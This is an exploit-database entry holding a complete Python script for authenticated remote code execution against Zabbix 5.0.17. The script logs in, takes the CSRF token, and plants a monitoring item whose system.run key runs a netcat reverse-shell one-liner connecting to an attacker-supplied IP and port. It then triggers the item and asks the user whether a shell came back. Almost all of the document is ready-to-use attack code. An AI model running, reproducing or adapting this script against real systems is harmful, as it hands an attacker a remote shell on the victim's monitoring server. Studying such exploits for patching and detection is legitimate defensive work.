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Zabbix 5.0.17 - Remote Code Execution (Authenticated) Exploit
# Exploit Title: Zabbix 5.0.17 - Remote Code Execution (RCE) (Authenticated) # Exploit Author: Hussien Misbah # Vendor Homepage: https://www.zabbix.com/ # Software Link: https://www.zabbix.com/rn/rn5.0.17 # Version: 5.0.17 # Tested on: Linux # Reference: https://github.com/HussienMisbah/tools/tree/master/Zabbix_exploit #!/usr/bin/python3 # note : this is blind RCE so don't expect to see results on the site # this exploit is tested against Zabbix 5.0.17 only import sys import requests import re import random import string import colorama from colorama import Fore print(Fore.YELLOW+"[*] this exploit is tested against Zabbix 5.0.17 only") print(Fore.YELLOW+"[*] can reach the author @ https://hussienmisbah.github.io/") def item_name() : letters = string.ascii_letters item = ''.join(random.choice(letters) for i in range(20)) return item if len(sys.argv) != 6 : print(Fore.RED +"[!] usage : ./expoit.py <target url> <username> <password> <attacker ip> <attacker port>") sys.exit(-1) url = sys.argv[1] username =sys.argv[2] password = sys.argv[3] host = sys.argv[4] port = sys.argv[5] s = requests.Session() headers ={ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", } data = { "request":"hosts.php", "name" : username , "password" : password , "autologin" :"1" , "enter":"Sign+in" } proxies = { 'http': 'http://127.0.0.1:8080' } r = s.post(url+"/index.php",data=data) #proxies=proxies) if "Sign out" not in r.text : print(Fore.RED +"[!] Authentication failed") sys.exit(-1) if "Zabbix 5.0.17" not in r.text : print(Fore.RED +"[!] This is not Zabbix 5.0.17") sys.exit(-1) if "filter_hostids%5B0%5D=" in r.text : try : x = re.search('filter_hostids%5B0%5D=(.*?)"', r.text) hostId = x.group(1) except : print(Fore.RED +"[!] Exploit failed to resolve HostID") print(Fore.BLUE +"[?] you can find it under /items then add item") sys.exit(-1) else : print(Fore.RED +"[!] Exploit failed to resolve HostID") print(Fore.BLUE +"[?] you can find HostID under /items then add item") sys.exit(-1) sid= re.search('<meta name="csrf-token" content="(.*)"/>',r.text).group(1) # hidden_csrf_token command=f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {host} {port} >/tmp/f" payload = f"system.run[{command},nowait]" Random_name = item_name() data2 ={ "sid":sid,"form_refresh":"1","form":"create","hostid":hostId,"selectedInterfaceId":"0","name":Random_name,"type":"0","key":payload,"url":"","query_fields[name][1]":"","query_fields[value][1]":"","timeout":"3s","post_type":"0","posts":"","headers[name][1]":"","headers[value][1]":"","status_codes":"200","follow_redirects":"1","retrieve_mode":"0","http_proxy":"","http_username":"","http_password":"","ssl_cert_file":"","ssl_key_file":"","ssl_key_password":"","interfaceid":"1","params_es":"","params_ap":"","params_f":"","value_type":"3","units":"","delay":"1m","delay_flex[0][type]":"0","delay_flex[0][delay]":"","delay_flex[0][schedule]":"","delay_flex[0][period]":"","history_mode":"1","history":"90d","trends_mode":"1","trends":"365d","valuemapid":"0","new_application":"","applications[]":"0","inventory_link":"0","description":"","status":"0","add":"Add" } r2 =s.post(url+"/items.php" ,data=data2,headers=headers,cookies={"tab":"0"} ) no_pages= r2.text.count("?page=") #################################################[Searching in all pages for the uploaded item]################################################# page = 1 flag=False while page <= no_pages : r_page=s.get(url+f"/items.php?page={page}" ,headers=headers ) if Random_name in r_page.text : print(Fore.GREEN+"[+] the payload has been Uploaded Successfully") x2 = re.search(rf"(\d+)[^\d]>{Random_name}",r_page.text) try : itemId=x2.group(1) except : pass print(Fore.GREEN+f"[+] you should find it at {url}/items.php?form=update&hostid={hostId}&itemid={itemId}") flag=True break else : page +=1 if flag==False : print(Fore.BLUE +"[?] do you know you can't upload same key twice ?") print(Fore.BLUE +"[?] maybe it is already uploaded so set the listener and wait 1m") print(Fore.BLUE +"[*] change the port and try again") sys.exit(-1) #################################################[Executing the item]################################################# data2["form"] ="update" data2["selectedInterfaceId"] = "1" data2["check_now"]="Execute+now" data2.pop("add",None) data2["itemid"]=itemId, print(Fore.GREEN+f"[+] set the listener at {port} please...") r2 =s.post(url+"/items.php" ,data=data2,headers=headers,cookies={"tab":"0"}) # ,proxies=proxies ) print(Fore.BLUE+ "[?] note : it takes up to +1 min so be patient :)") answer =input(Fore.BLUE+"[+] got a shell ? [y]es/[N]o: ") if "y" in answer.lower() : print(Fore.GREEN+"Nice !") else : print(Fore.RED+"[!] if you find out why please contact me ") sys.exit(0) # 0day.today [2024-12-24] #